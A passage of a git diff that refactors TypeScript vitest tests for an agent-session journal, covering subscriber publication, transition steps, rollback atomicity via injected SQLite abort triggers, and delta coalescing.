journal.cursor(), - items: [], - removedItemIds: [], - submissions: [] - }, - fence: 7, - hostNow: expect.any(Number), - activity: null - } - ]) + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'checkpoint-journal') }) - - it('stamps the host clock once per published frame', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'clock-journal') - }) - let now = 1_000 - let roster: AgentSessionBackgroundTaskState | null = null - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ - now: () => (now += 1), - readBackgroundTasks: () => roster - }) - const emit = (event: AgentSessionSubscribeEvent): void => { - events.push(event) - } - subscribers.open({ id: 'one', sessionId: SESSION, journal, fence: 1, emit }) - subscribers.open({ id: 'two', sessionId: SESSION, journal, fence: 1, emit }) - await journal.appendItem( - { provider: 'orca', clientMessageId: 'clocked' }, - { kind: 'status', text: 'Clocked' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - roster = { - state: 'monitoring', - tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] - } - subscribers.republishBackgroundTasks(SESSION, 1) - subscribers.snapshot(SESSION, journal, 1) - - expect(events.map((event) => ('hostNow' in event ? event.hostNow : null))).toEqual([ - 1_001, 1_002, - // Both subscribers of one publication read the same clock sample. - 1_003, 1_003, 1_004, 1_004, 1_005, 1_005 - ]) - expect(events.map((event) => event.type)).toEqual([ - 'snapshot', - 'snapshot', - 'batch', - 'batch', - 'batch', - 'batch', - 'snapshot', - 'snapshot' - ]) + const events: AgentSessionSubscribeEvent[] = [] + + new AgentSessionSubscribers().open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 7, + cursor: journal.cursor(), + emit: (event) => events.push(event) }) - it('includes catalogs on reconnect and sends an idle checkpoint without journal work', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'catalog-journal') - }) - let commands = [{ name: 'first', kind: 'skill' as const }] - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ readCommands: () => commands }) - subscribers.open({ - id: 'one', - sessionId: SESSION, - journal, - fence: 7, - emit: (event) => events.push(event) - }) - expect(events[0]).toMatchObject({ type: 'snapshot', commands }) - commands = [{ name: 'second', kind: 'skill' as const }] - subscribers.publish(SESSION, journal) - expect(events[1]).toEqual({ + expect(events).toEqual([ + { type: 'batch', sessionId: SESSION, + batch: { + cursor: journal.cursor(), + items: [], + removedItemIds: [], + submissions: [] + }, fence: 7, hostNow: expect.any(Number), - commands, - batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } - }) - subscribers.open({ - id: 'two', + activity: null + } + ]) +}) + +it('stamps the host clock once per published frame', async () => { + const journal = await journals.open({ + identity: { sessionId: SESSION, - journal, - cursor: journal.cursor(), - fence: 7, - emit: (event) => events.push(event) - }) - expect(events[2]).toMatchObject({ type: 'batch', commands }) + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'clock-journal') }) - - it('reports every content publication to the journal hook, subscribed or not', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'hook-journal') - }) - const published: string[] = [] - const subscribers = new AgentSessionSubscribers({ - onJournalPublished: (sessionId, published_journal) => { - expect(published_journal).toBe(journal) - published.push(sessionId) - } - }) - - subscribers.publish(SESSION, journal) - subscribers.snapshot(SESSION, journal, 1) - - expect(published).toEqual([SESSION, SESSION]) + let now = 1_000 + let roster: AgentSessionBackgroundTaskState | null = null + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ + now: () => (now += 1), + readBackgroundTasks: () => roster }) - - it('settles a session nobody is reading, from running to idle', async () => { - // Never open a subscriber: status must publish independently of transcript readers. - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'unread-journal') - }) - const statusFeed = new StructuredAgentSessionStatusFeed({ - logger: createStructuredAgentSessionLogger(), - sessions: new Map([ - [ - SESSION, - { - journal, - params: { - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: 'workspace-1', - workspaceKind: 'git-worktree' - }, - provider: 'codex' - } - } - ] - ]), - getConversation: () => null, - now: () => 1_000 - }) - const subscribers = new AgentSessionSubscribers({ - onJournalPublished: (sessionId, published) => statusFeed.publish(sessionId, published) - }) - const statuses: AgentSessionStatusEvent[] = [] - statusFeed.subscribe({ id: 'session-list', emit: (event) => statuses.push(event) }) - const turn = { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 0 } as const - - await journal.appendItem( - { ...turn, ordinal: 1 }, - { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'write a poem' }] }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await journal.appendItem( - turn, - { kind: 'status', text: 'Working', turnLifecycle: { turnId: 'turn-1', state: 'running' } }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - - expect(statuses.at(-1)).toEqual({ - type: 'status', - session: expect.objectContaining({ status: 'working', latestPrompt: 'write a poem' }) - }) - - await journal.appendTombstone(turn, { fence: 1 }) - subscribers.publish(SESSION, journal) - - expect(statuses.at(-1)).toEqual({ - type: 'status', - session: expect.objectContaining({ status: 'idle' }) - }) + const emit = (event: AgentSessionSubscribeEvent): void => { + events.push(event) + } + subscribers.open({ id: 'one', sessionId: SESSION, journal, fence: 1, emit }) + subscribers.open({ id: 'two', sessionId: SESSION, journal, fence: 1, emit }) + await journal.appendItem( + { provider: 'orca', clientMessageId: 'clocked' }, + { kind: 'status', text: 'Clocked' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + roster = { + state: 'monitoring', + tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] + } + subscribers.republishBackgroundTasks(SESSION, 1) + subscribers.snapshot(SESSION, journal, 1) + + expect(events.map((event) => ('hostNow' in event ? event.hostNow : null))).toEqual([ + 1_001, 1_002, + // Both subscribers of one publication read the same clock sample. + 1_003, 1_003, 1_004, 1_004, 1_005, 1_005 + ]) + expect(events.map((event) => event.type)).toEqual([ + 'snapshot', + 'snapshot', + 'batch', + 'batch', + 'batch', + 'batch', + 'snapshot', + 'snapshot' + ]) +}) + +it('includes catalogs on reconnect and sends an idle checkpoint without journal work', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'catalog-journal') }) - - it('publishes background lifecycle without advancing the journal and carries its fence forward', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'claude', - providerHandle: claudeProviderHandle('provider-1', null) - }, - stateDirectory: join(root, 'background-journal') - }) - let roster: AgentSessionBackgroundTaskState | null = null - const subscribers = new AgentSessionSubscribers({ readBackgroundTasks: () => roster }) - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - emit: (event) => events.push(event) - }) - const cursor = journal.cursor() - - const backgroundTasks: AgentSessionBackgroundTaskState = { - state: 'monitoring', - tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] - } - roster = backgroundTasks - subscribers.republishBackgroundTasks(SESSION, 2) - - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toEqual({ - type: 'batch', - sessionId: SESSION, - batch: { cursor, items: [], removedItemIds: [], submissions: [] }, - fence: 2, - hostNow: expect.any(Number), - backgroundTasks - }) - - await journal.appendItem( - { provider: 'orca', clientMessageId: 'after-background-fence' }, - { kind: 'status', text: 'After background state' }, - { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - subscribers.publish(SESSION, journal) - - expect(events.at(-1)).toMatchObject({ type: 'batch', fence: 2 }) + let commands = [{ name: 'first', kind: 'skill' as const }] + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ readCommands: () => commands }) + subscribers.open({ + id: 'one', + sessionId: SESSION, + journal, + fence: 7, + emit: (event) => events.push(event) }) - - it('publishes latest turn activity without advancing or adding journal rows', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'activity-journal') - }) - const subscribers = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - emit: (event) => events.push(event) - }) - const cursor = journal.cursor() - - subscribers.publish(SESSION, journal, { - turnId: 'turn-1', - text: 'Inspecting the session wire' - }) - - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toEqual({ - type: 'batch', - sessionId: SESSION, - batch: { cursor, items: [], removedItemIds: [], submissions: [] }, - fence: 1, - hostNow: expect.any(Number), - activity: { turnId: 'turn-1', text: 'Inspecting the session wire' } - }) - - subscribers.close(SESSION, 'subscriber-1') - subscribers.publish(SESSION, journal, null) - subscribers.open({ - id: 'reconnected', - sessionId: SESSION, - journal, - fence: 1, - cursor, - emit: (event) => events.push(event) - }) - expect(journal.cursor()).toEqual(cursor) - expect(events.at(-1)).toMatchObject({ activity: null }) + expect(events[0]).toMatchObject({ type: 'snapshot', commands }) + commands = [{ name: 'second', kind: 'skill' as const }] + subscribers.publish(SESSION, journal) + expect(events[1]).toEqual({ + type: 'batch', + sessionId: SESSION, + fence: 7, + hostNow: expect.any(Number), + commands, + batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } }) - - it('catches a subscriber up past a pre-existing unsendable removal with a bounded reset', async () => { - const journalDir = join(root, 'oversized-removal-journal') - const seeded = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: journalDir - }) - // A legacy removal ID exceeds the outbound cap alone, making catch-up impossible. - const hugeItemId = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` - const resumeCursor = seeded.cursor() - const seq = resumeCursor.sequence - const rows: JournalRow[] = [ - { - kind: 'item', - itemId: hugeItemId, - revision: 1, - body: { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'big' }] }, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: seeded.epoch, - seq: seq + 1, - fence: 1, - ts: 2_000 - }, - { - kind: 'tombstone', - itemId: hugeItemId, - revision: 2, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: seeded.epoch, - seq: seq + 2, - fence: 1, - ts: 2_001 - } - ] - // Direct writes model legacy persisted rows. - await seeded.close() - const opened = openTestJournalHostDatabase(journalDir) - try { - opened.db.exec('BEGIN IMMEDIATE') - for (const row of rows) { - insertTestJournalRow(opened.db, SESSION, row) - } - opened.db.exec('COMMIT') - } finally { - await opened.close() - } - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: journalDir - }) - - const subscribers = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - subscribers.open({ - id: 'subscriber-1', - sessionId: SESSION, - journal, - fence: 1, - cursor: resumeCursor, - emit: (event) => events.push(event) - }) - - for (const event of events) { - expect(Buffer.byteLength(serializeRemoteRuntimePayload(event), 'utf8')).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - } - const reset = events.find((event) => event.type === 'reset') - expect(reset).toBeDefined() - - // Reset must advance past the unsendable row so later publications make progress. - const settled = events.length - subscribers.publish(SESSION, journal) - expect(events.slice(settled).filter((event) => event.type === 'reset')).toEqual([]) + subscribers.open({ + id: 'two', + sessionId: SESSION, + journal, + cursor: journal.cursor(), + fence: 7, + emit: (event) => events.push(event) }) + expect(events[2]).toMatchObject({ type: 'batch', commands }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts new file mode 100644 index 00000000000..5cb96331c66 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-contract-test-fixture.ts @@ -0,0 +1,84 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemIdentity, + type AgentJournalToolCallItem +} from '../../../shared/agent-session-journal-types' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import type { JournalLifecycleMutationInput } from '../agent-session-journal/journal-row-builders' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { + createDeferredStructuredAgentSessionEventSink, + type StructuredAgentSessionSinkWatermarks +} from './structured-agent-session-event-sink' +import { testEventSinkLogging } from './structured-agent-session-logger-test-support' +import type { StructuredAgentSessionTransitionStep } from './structured-agent-session-transition' + +export const SESSION = 'session-transition' + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +export const roots: string[] = [] + +afterEach(async () => { + await journals.closeAll() + await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) +}) + +export function identity(recordId: string): AgentJournalItemIdentity { + return { provider: 'legacy', agent: 'grok', sessionId: SESSION, recordId } +} + +export function tool( + name: string, + state: AgentJournalToolCallItem['state'] +): AgentJournalToolCallItem { + return { kind: 'tool-call', name, input: { name }, state } +} + +export function failedTool(id: AgentJournalItemIdentity): JournalLifecycleMutationInput { + return { + kind: 'item', + identity: id, + body: tool('read', 'failed'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } +} + +export function itemStep( + resolve: Extract['resolve'], + reservedBytes = 4096 +): StructuredAgentSessionTransitionStep { + return { + kind: 'item', + reservedBytes, + resolve, + options: { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + } +} + +export async function rig(watermarks: Partial = {}) { + const root = await mkdtemp(join(tmpdir(), 'orca-transition-')) + roots.push(root) + const journal: AgentSessionJournal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'grok', + providerHandle: { transport: 'acp', agent: 'grok', nativeId: 'provider-session-1' } + }, + stateDirectory: root, + now: () => 1_000 + }) + const publishes: number[] = [] + const deferred = createDeferredStructuredAgentSessionEventSink({ + ...testEventSinkLogging(SESSION), + watermarks + }) + const bind = () => deferred.bind({ journal, fence: 1, publish: () => publishes.push(1) }) + return { root, journal, deferred, sink: deferred.sink, publishes, bind } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts new file mode 100644 index 00000000000..b435d58256c --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition-rollback.test.ts @@ -0,0 +1,131 @@ +import { expect, it } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { createAgentSessionDeltaCoalescer } from './agent-session-delta-coalescer' + +import { + failedTool, + identity, + itemStep, + rig, + tool +} from './structured-agent-session-transition-contract-test-fixture' + +it('leaves no row of a settlement durable when a later one of its rows fails to write', async () => { + const { root, journal, deferred, sink, bind } = await rig() + bind() + const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) + for (const id of running) { + sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + } + await deferred.drained() + const before = journal.cursor().sequence + // Abort the second insert to verify settlement transaction atomicity. + openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_chunk +BEFORE INSERT ON main.journal_rows WHEN NEW.seq = ${before + 2} +BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + { + kind: 'settlement', + settlementId: 'settle-all', + reservedBytes: 1, + resolve: () => running.map(failedTool) + } + ] + }) + + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.cursor().sequence).toBe(before) + expect( + journal + .snapshot() + .items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toEqual([]) +}) + +it('writes and announces nothing when a step resolves to nothing', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + itemStep(() => null), + { kind: 'settlement', settlementId: 'none', reservedBytes: 1, resolve: () => [] } + ] + }) + await deferred.drained() + + expect(journal.snapshot().items).toEqual([]) + expect(publishes).toEqual([]) +}) + +it('lands a write a step issues while it runs after the whole transition', async () => { + const { journal, deferred, sink, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: false, + publish: false, + steps: [ + itemStep(() => { + // Nested writes must wait until the whole transition finishes. + sink.tryAppendItem?.(identity('nested'), tool('nested', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + return { identity: identity('first'), body: tool('first', 'running') } + }), + itemStep(() => ({ identity: identity('second'), body: tool('second', 'running') })) + ] + }) + await deferred.drained() + + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual( + ['first', 'second', 'nested'].map((recordId) => agentJournalItemKey(identity(recordId))) + ) +}) + +it('refuses, before writing anything, a settlement that names one item twice', async () => { + const { journal } = await rig() + const before = journal.cursor().sequence + const twice = identity('twice') + + await expect( + journal.appendSteps([ + { + kind: 'settlement', + batch: { + settlementId: 'twice', + fence: 1, + resolve: () => [failedTool(identity('once')), failedTool(twice), failedTool(twice)] + } + } + ]) + ).rejects.toThrow('journal_resolved_lifecycle_batch_names_item_twice') + expect(journal.cursor().sequence).toBe(before) +}) + +it('reports unwritten streams and owes nothing once the caller marks them written', () => { + const emitted: string[] = [] + const coalescer = createAgentSessionDeltaCoalescer({ + emit: (_key, text) => { + emitted.push(text) + }, + schedule: () => () => {} + }) + coalescer.append('a', 'Hel') + coalescer.append('b', 'Wor') + coalescer.append('a', 'lo') + + expect(coalescer.dirty().map(({ key, snapshot }) => [key, snapshot.text])).toEqual([ + ['a', 'Hello'], + ['b', 'Wor'] + ]) + coalescer.markFlushed('a') + coalescer.flushAll() + expect(emitted).toEqual(['Wor']) + expect(coalescer.dirty()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts index 85003f8b311..77745f29b37 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-transition.test.ts @@ -1,318 +1,185 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' +import { expect, it, vi } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemIdentity, - type AgentJournalToolCallItem -} from '../../../shared/agent-session-journal-types' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import type { JournalLifecycleMutationInput } from '../agent-session-journal/journal-row-builders' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { createAgentSessionDeltaCoalescer } from './agent-session-delta-coalescer' -import { - createDeferredStructuredAgentSessionEventSink, - type StructuredAgentSessionSinkWatermarks -} from './structured-agent-session-event-sink' -import { testEventSinkLogging } from './structured-agent-session-logger-test-support' -import type { - StructuredAgentSessionTransition, - StructuredAgentSessionTransitionStep -} from './structured-agent-session-transition' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import type { StructuredAgentSessionTransition } from './structured-agent-session-transition' -const SESSION = 'session-transition' -const journals = createTrackedJournalOpener() -const roots: string[] = [] +import { + failedTool, + identity, + itemStep, + rig, + tool +} from './structured-agent-session-transition-contract-test-fixture' -afterEach(async () => { - await journals.closeAll() - await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true }))) +it('lands its steps back to back, each resolved after the one before it', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const first = identity('first') + const transition: StructuredAgentSessionTransition = { + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: first, body: tool('read', 'running') })), + itemStep((view) => { + const before = view.itemBody(agentJournalItemKey(first)) + return before?.kind === 'tool-call' + ? { identity: identity('second'), body: tool(`after-${before.name}`, 'running') } + : null + }) + ] + } + expect(sink.tryAppendTransition?.(transition)).toEqual({ accepted: true }) + sink.tryAppendItem?.(identity('later'), tool('later', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await deferred.drained() + + const items = journal.snapshot().items + const start = items[0]?.sequence ?? 0 + expect(items.map((item) => [item.itemId, item.sequence - start])).toEqual([ + [agentJournalItemKey(first), 0], + [agentJournalItemKey(identity('second')), 1], + [agentJournalItemKey(identity('later')), 2] + ]) + expect(items[1]?.body).toMatchObject({ name: 'after-read' }) + expect(publishes).toHaveLength(1) }) -function identity(recordId: string): AgentJournalItemIdentity { - return { provider: 'legacy', agent: 'grok', sessionId: SESSION, recordId } -} - -function tool(name: string, state: AgentJournalToolCallItem['state']): AgentJournalToolCallItem { - return { kind: 'tool-call', name, input: { name }, state } -} - -function failedTool(id: AgentJournalItemIdentity): JournalLifecycleMutationInput { - return { - kind: 'item', - identity: id, - body: tool('read', 'failed'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } -} - -function itemStep( - resolve: Extract['resolve'], - reservedBytes = 4096 -): StructuredAgentSessionTransitionStep { - return { - kind: 'item', - reservedBytes, - resolve, - options: { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - } -} - -async function rig(watermarks: Partial = {}) { - const root = await mkdtemp(join(tmpdir(), 'orca-transition-')) - roots.push(root) - const journal: AgentSessionJournal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'grok', - providerHandle: { transport: 'acp', agent: 'grok', nativeId: 'provider-session-1' } - }, - stateDirectory: root, - now: () => 1_000 - }) - const publishes: number[] = [] - const deferred = createDeferredStructuredAgentSessionEventSink({ - ...testEventSinkLogging(SESSION), - watermarks - }) - const bind = () => deferred.bind({ journal, fence: 1, publish: () => publishes.push(1) }) - return { root, journal, deferred, sink: deferred.sink, publishes, bind } -} - -describe('structured agent-session transitions', () => { - it('lands its steps back to back, each resolved after the one before it', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const first = identity('first') - const transition: StructuredAgentSessionTransition = { - lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: first, body: tool('read', 'running') })), - itemStep((view) => { - const before = view.itemBody(agentJournalItemKey(first)) - return before?.kind === 'tool-call' - ? { identity: identity('second'), body: tool(`after-${before.name}`, 'running') } - : null - }) - ] - } - expect(sink.tryAppendTransition?.(transition)).toEqual({ accepted: true }) - sink.tryAppendItem?.(identity('later'), tool('later', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await deferred.drained() - - const items = journal.snapshot().items - const start = items[0]?.sequence ?? 0 - expect(items.map((item) => [item.itemId, item.sequence - start])).toEqual([ - [agentJournalItemKey(first), 0], - [agentJournalItemKey(identity('second')), 1], - [agentJournalItemKey(identity('later')), 2] - ]) - expect(items[1]?.body).toMatchObject({ name: 'after-read' }) - expect(publishes).toHaveLength(1) - }) - - it('admitted whole is not executed whole: a failed step keeps the ones before it and fails the sink', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('kept'), body: tool('read', 'running') })), - itemStep(() => { - throw new Error('resolver failed') - }) - ] - }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('kept')) - ]) - expect(publishes).toEqual([]) - expect( - sink.tryAppendTransition?.({ - lifecycle: false, - publish: false, - steps: [itemStep(() => null)] +it('admitted whole is not executed whole: a failed step keeps the ones before it and fails the sink', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('kept'), body: tool('read', 'running') })), + itemStep(() => { + throw new Error('resolver failed') }) - ).toEqual({ accepted: false, reason: 'failed' }) + ] }) - it('writes nothing after a step that overflows its reservation', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const after = vi.fn(() => ({ identity: identity('third'), body: tool('read', 'running') })) + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('kept')) + ]) + expect(publishes).toEqual([]) + expect( sink.tryAppendTransition?.({ lifecycle: false, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('first'), body: tool('read', 'running') })), - itemStep( - () => ({ identity: identity('second'), body: tool('x'.repeat(10_000), 'running') }), - 64 - ), - itemStep(after) - ] + publish: false, + steps: [itemStep(() => null)] }) + ).toEqual({ accepted: false, reason: 'failed' }) +}) - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('first')) - ]) - expect(after).not.toHaveBeenCalled() - expect(publishes).toEqual([]) +it('writes nothing after a step that overflows its reservation', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const after = vi.fn(() => ({ identity: identity('third'), body: tool('read', 'running') })) + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('first'), body: tool('read', 'running') })), + itemStep( + () => ({ identity: identity('second'), body: tool('x'.repeat(10_000), 'running') }), + 64 + ), + itemStep(after) + ] }) - it('opens no next-turn work after a settlement the journal refused', async () => { - const { journal, deferred, sink, bind } = await rig() - bind() - const old = identity('old-tool') - sink.tryAppendItem?.(old, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - await deferred.drained() - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - itemStep(() => ({ identity: identity('before'), body: tool('read', 'completed') })), - { - kind: 'settlement', - settlementId: 'settle', - reservedBytes: 1, - resolve: () => [failedTool(old), failedTool(old)] - }, - itemStep(() => ({ identity: identity('next-turn-work'), body: tool('read', 'running') })) - ] - }) + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('first')) + ]) + expect(after).not.toHaveBeenCalled() + expect(publishes).toEqual([]) +}) - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(old), - agentJournalItemKey(identity('before')) - ]) - expect(journal.item(agentJournalItemKey(old))?.body).toMatchObject({ state: 'running' }) +it('opens no next-turn work after a settlement the journal refused', async () => { + const { journal, deferred, sink, bind } = await rig() + bind() + const old = identity('old-tool') + sink.tryAppendItem?.(old, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await deferred.drained() + sink.tryAppendTransition?.({ + lifecycle: true, + publish: true, + steps: [ + itemStep(() => ({ identity: identity('before'), body: tool('read', 'completed') })), + { + kind: 'settlement', + settlementId: 'settle', + reservedBytes: 1, + resolve: () => [failedTool(old), failedTool(old)] + }, + itemStep(() => ({ identity: identity('next-turn-work'), body: tool('read', 'running') })) + ] }) - it('writes nothing after a step whose row the database refused', async () => { - const { root, journal, deferred, sink, bind } = await rig() - bind() - // Fail step two to verify step three never fills its place. - openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_step + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(old), + agentJournalItemKey(identity('before')) + ]) + expect(journal.item(agentJournalItemKey(old))?.body).toMatchObject({ state: 'running' }) +}) + +it('writes nothing after a step whose row the database refused', async () => { + const { root, journal, deferred, sink, bind } = await rig() + bind() + // Fail step two to verify step three never fills its place. + openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_step BEFORE INSERT ON main.journal_rows WHEN instr(NEW.row_json, 'refused-step') > 0 BEGIN SELECT RAISE(ABORT, 'second step refused'); END`) - const step = (recordId: string) => - itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) - 